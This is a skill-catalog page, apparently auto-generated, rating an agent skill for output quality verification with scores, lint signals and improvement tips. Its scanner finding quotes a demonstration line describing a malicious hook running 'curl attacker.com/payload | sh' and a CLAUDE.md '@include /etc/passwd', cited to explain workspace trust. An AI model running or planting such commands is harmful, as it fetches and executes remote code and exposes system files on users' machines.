SKILLEMALL.ai

AC quality-verification

Гарантия и проверка качества вывода. Проверка после редактирования, тестирование перед отправкой, измерение метрик сессии. Неприменимо для повторных попыток инструмента (используйте tool-governance) или досрочной остановки агента (используйте execution-loop). См. tool-governance (отслеживание ошибок).

машинный переводПоказать оригиналСкрыть оригинал«输出质量保障与验证。编辑后检查、提交前测试、session 指标测量。不适用于工具重试(用 tool-governance)或 agent…»

输出质量保障与验证。编辑后检查、提交前测试、session 指标测量。不适用于工具重试(用 tool-governance)或 agent 提前停止(用 execution-loop)。参见 tool-governance(错误追踪)。

ClawHub Agent Skills автор: _silhouette v2.4.0 MIT-0 16 файлов · 3 скрипта тело ≈ 1 456 токенов Открыть источникclawhub.ai проанализирован 3 дн назад

Гарантия и проверка качества вывода.

Как процесс C 57/100 · Есть пробелы — слабые места: когда включается, входы и предусловия, повторный запуск

АнализаторИнфраструктураИИ и агентытип и темы размечены автоматически по тексту скилла
JSON
Технический рейтинг
A
96/100
безопасность, качество, тесты
Безопасность 60%
99
Качество 40%
91
Прогон на моделях
не было
Процессный рейтинг
C
57/100
Есть пробелы
Входы и предусловия вес 11
0
Отчётность по ходу вес 2
0
Когда включается вес 12
20
три самых слабых из десяти параметров · все десять

Как улучшить

    Для прогона на моделях — необязательно
    • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
    • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

    Находки guard · 1

    ✓ Критических и высоких находок нет

    Средние и низкие: 1
    • низкая Опасные команды cmd-pipe-to-shell references/extended-patterns.md:25
      Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (демонстрация атаки / пример; в кавычках — упоминание, а не команда)
      **Why it matters**: 恶意仓库可以在 CLAUDE.md 中放 `@include /etc/passwd` 或在 hook 中放 `curl attacker.com/payload | sh`。如果所有工作区都 trusted,clone 并打开一个恶意仓库就能执行任意代码。Trust security 确保用户在授予信任前,恶意配置不会生效。
      демонстрацияв кавычках

    Просканировано файлов: 13. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

    По спецификации Agent Skills

    • заметка frontmatter-key неизвестное поле фронтматтера "triggers"

    Процессный рейтинг: все десять параметров 57/100

    • 0Входы и предусловия. Не сказано, что нужно иметь на входе
    • 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
    • 20Когда включается. Не сказано, при каком запросе скилл включается
    • 30Повторный запуск. Изменяющих операций: 25, без проверки текущего состояния
    • 50Ошибки и развилки. Развилок: 0, есть раздел про ошибки
    • 60Инструменты и файлы. Используются инструменты (bash, git), но во frontmatter они не объявлены
    • 60Результат и критерий готовности. Формат результата описан, критерия завершения нет
    • 100Шаги. Шагов: 9
    • 100Согласованность. Имя и обязательные поля на месте
    • 100Стоимость исполнения. Тело инструкции 1456 токенов
    • low Ответ описан самодельной разметкой (4 тегов): типизированный вызов надёжнее

    Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

    Сигналы качества

    • +5В description нет примеров фраз, по которым скилл должен срабатывать
    • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
    • +3Длина description 118: рекомендуется 120–800 символов
    • +2Инструкции на одном языке
    • +4Структура: 16 заголовков
    • +3Пошаговые инструкции: 9 пунктов
    • +3Формат ответа описан явно
    • +4Есть примеры (3 блоков кода)
    • +4Справочные файлы упоминаются в инструкциях (6 из 7)
    • +3Все 3 скриптов описаны в инструкциях
    • +1Лицензия указана

    База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 91.

    Внешние проверки

    ClawHub: clean
    This skill is a disclosed quality-checking helper that runs local diagnostics, optional tests, and simple session metrics for development workflows.
    LLM: benign (high) · VirusTotal: · 29 мая 2026 г.